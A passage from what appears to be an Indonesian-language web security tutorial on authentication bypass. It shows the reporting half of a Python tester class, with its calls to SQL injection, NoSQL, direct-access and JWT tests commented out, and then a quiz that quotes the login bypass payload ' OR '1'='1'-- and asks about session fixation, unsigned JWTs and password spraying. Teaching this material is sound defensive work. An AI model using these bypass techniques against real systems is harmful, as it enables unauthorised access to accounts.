            print(f"  [-] JWT test error: {e}")
    
    def generate_report(self):
        """Generate laporan testing"""
        print("\n" + "=" * 60)
        print("LAPORAN AUTH BYPASS TESTING")
        print("=" * 60)
        
        vuln_count = sum(1 for r in self.results if 'VULNERABLE' in r['result'])
        print(f"\nTotal Tests: {len(self.results)}")
        print(f"Vulnerabilities Found: {vuln_count}")
        
        for r in self.results:
            print(f"\n  [{r['severity']}] {r['test']}: {r['result']}")

# ===== JALANKAN =====
# tester = AuthBypassTester('https://target.com')
# tester.test_sqli_bypass()
# tester.test_nosql_bypass()
# tester.test_direct_access()
# tester.test_jwt_manipulation()
# tester.generate_report()

10. Quiz Pemahaman

Uji pemahaman Anda tentang Authentication Bypass:

Pertanyaan 1: Payload SQL injection ' OR '1'='1'-- pada form login bekerja dengan cara apa?

a) Menghapus tabel users di database
b) Membuat kondisi WHERE yang selalu TRUE dan mengomentari sisa query
c) Mengubah password admin di database
d) Mengirim password ke email attacker

Pertanyaan 2: Apa yang dimaksud dengan Session Fixation?

a) Menggunakan session ID yang sudah expired
b) Attacker menentukan session ID korban sebelum korban login
c) Membuat session baru setiap request
d) Menghapus semua session di server

Pertanyaan 3: Mengapa JWT dengan algoritma "none" sangat berbahaya?

a) Karena enkripsinya terlalu lemah
b) Karena token tidak memiliki signature sehingga siapapun bisa memalsukannya
c) Karena tokennya terlalu panjang
d) Karena tokennya cepat expired

Pertanyaan 4: Apa perbedaan antara Brute Force dan Password Spraying?

a) Tidak ada perbedaan
b) Brute Force mencoba banyak password ke satu akun; Password Spraying mencoba beberapa password ke banyak akun
c) Brute Force lebih lambat dari Password Spraying
d) Password Spraying hanya untuk WiFi

Pertanyaan 5: Pencegahan utama terhadap SQL Injection pada login adalah?

a) Menggunakan CAPTCHA
b) Menggunakan Parameterized Queries / Prepared Statements
c) Mengenkripsi password di client-side
d) Mengganti nama tabel di database
πŸ” Zoom
100%
🎨 Tema